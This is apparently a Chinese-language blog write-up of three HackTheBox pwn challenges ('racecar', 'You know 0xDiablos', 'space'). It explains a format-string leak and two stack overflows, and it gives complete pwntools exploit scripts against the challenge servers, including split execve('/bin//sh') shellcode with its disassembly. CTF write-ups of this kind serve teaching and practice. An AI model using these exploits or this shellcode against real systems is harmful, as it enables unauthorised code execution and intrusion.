hackbox wp

2022-03-10

racecar

1.运行

拿到文件,当然是先让他跑起来看看会发生什么

看起来是跑车小游戏

显然选项2才正常开始游戏

接下来让你选择车型,赛道

当我选完1车型 2赛道后,出现了奇怪的东西

打不开flag.txt

有点意思,这时候我们可以创建一个flag.txt然后往里面输点东西

之后出现的情况是下面这样的

2.分析程序

哦吼,看到了printf函数的格式化字符串漏洞

稍微调试一下

然后看下格式化字符串出现的东西

第11个就是我们输入的flag的4个字节啦

3.exp编写

编写exp有些值得质疑的点,比如收到的%x-%x…形式的字符串 需要去首尾空格,然后看看分片

用binascii库的 a2b_hex时,顺序的反的,需要倒过来

from pwn import *
from binascii import a2b_hex

#io = process("./racecar")
io = remote("178.128.168.198",30254)

io.recvuntil("Name:")
io.sendline("wsxk")
io.recvuntil("Nickname:")
io.sendline("wsxk")

io.recvuntil("Car selection")
io.sendline(str(2))
io.recvuntil("Select car:")
io.sendline(str(1))

io.recvuntil("Select race:")
io.sendline(str(2))

io.recvuntil("Do you have anything to say to the press after your big victory?")
io.sendline("%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x")

io.recvuntil("The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this:")
io.recvline()
return_strings=io.recvline()
#print(return_strings)

flag = (bytes(return_strings).strip()).rsplit(b"-")
print(flag)
true_flag = b""
for i in range(11,len(flag)):
    if len(flag[i])%2:
        flag[i] = b'0'+flag[i]
    #print(a2b_hex(flag[i])[::-1])
    true_flag += a2b_hex(flag[i])[::-1]
    if b"}" in true_flag:
        break
print(true_flag)

You know 0xDiablos

太简单了以至于不想说乍做…..

from pwn import *

io = remote("167.172.60.97",31012)
#io = process("./vuln")
#80491E2
io.recvuntil("You know who are 0xDiablos:")
payload = b'a'*188 + p32(0x80491E2)+p32(0xDEADBEEF)+p32(0xDEADBEEF)+p32(0xC0DED00D)

#gdb.attach(io)
io.sendline(payload)

io.interactive()

space

这道题很有意思

1.简单分析

可以看出是一个32位的程序

什么保护也没加

运行一下看看

行吧,直接用IDA进行分析

2.IDA分析

可以看到,往buf里面读31个字节后进入vuln函数

注意了,read函数不会自动帮你设置字符串末尾的'\x00'字符,所以,你读了31个字节,就是31个字节,不会在读入30个字节后自动停止!!!

继续往下看

好,找到漏洞点了,是栈溢出,根据先前看到的保护,考虑使用shellcode

3.查看溢出点

我们先试试要多少个字节才能覆盖ret的返回地址

好,现在知道是18个字节

在这个地方还看到了jmp esp

是用shellcode了

4.shellcode编写

这道题shellcode显然是有限制的,先是不能太长,其次是不能含有’\x00’字符(strcpy会在遇到’\x00’字节后提前终止并返回)

我们知道,最多可以输入31个字符,覆盖地址是18~22个字符的位置,前面剩下18个字符,后面剩下9个字符

显然直接靠9个字符是无法shellcode的(我见过的最短的shellcode也要17给字节)

我们需要把shellcode分半,一部分放到0~18的位置

剩下一部分放入22~31的位置

中间覆盖的值是 jmp esp的地址

所以payload的格式是

shellcode_one + p32(jmp_esp) + shellcode_two

为了在执行shellcode_two后跳入shellcode_one,我们在shellcode_two中,我们需要在shellcode_two中加入跳转到shellcode_one的部分

0:   31 c9                   xor    ecx, ecx
2:   31 d2                   xor    edx, edx
4:   83 ec 16                sub    esp, 0x16  #自己添加的
7:   ff e4                   jmp    esp         #自己添加的
9:   6a 0b                   push   0xb
b:   58                      pop    eax
c:   51                      push   ecx
d:   68 2f 2f 73 68          push   0x68732f2f
12:   68 2f 62 69 6e          push   0x6e69622f
17:   89 e3                   mov    ebx, esp
19:   cd 80                   int    0x80

为了看的方便,这里展示出shellcode的汇编意义,我把这段代码分成了0-9的部分和9-32的部分

shellcode的主要目标在于用int 80h命令

执行

execve(‘/bin//sh’,0,0)

详情可以参考以下网址

网址

5.完整exp

from pwn import *

#io =process('./space')
io = remote("167.71.134.138",31572)
#print(asm("sub esp,22;jmp esp",arch='i386'))

shellcode_one = b'\x31\xc9\x31\xd2\x83\xec\x16\xff\xe4'

shellcode_two = b'\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

payload = shellcode_two + p32(0x804919F)+shellcode_one
#payload = b'aaaabaaacaaadaaaeaaafaaagaaahaa'
#gdb.attach(io)

io.sendline(payload)
io.interactive()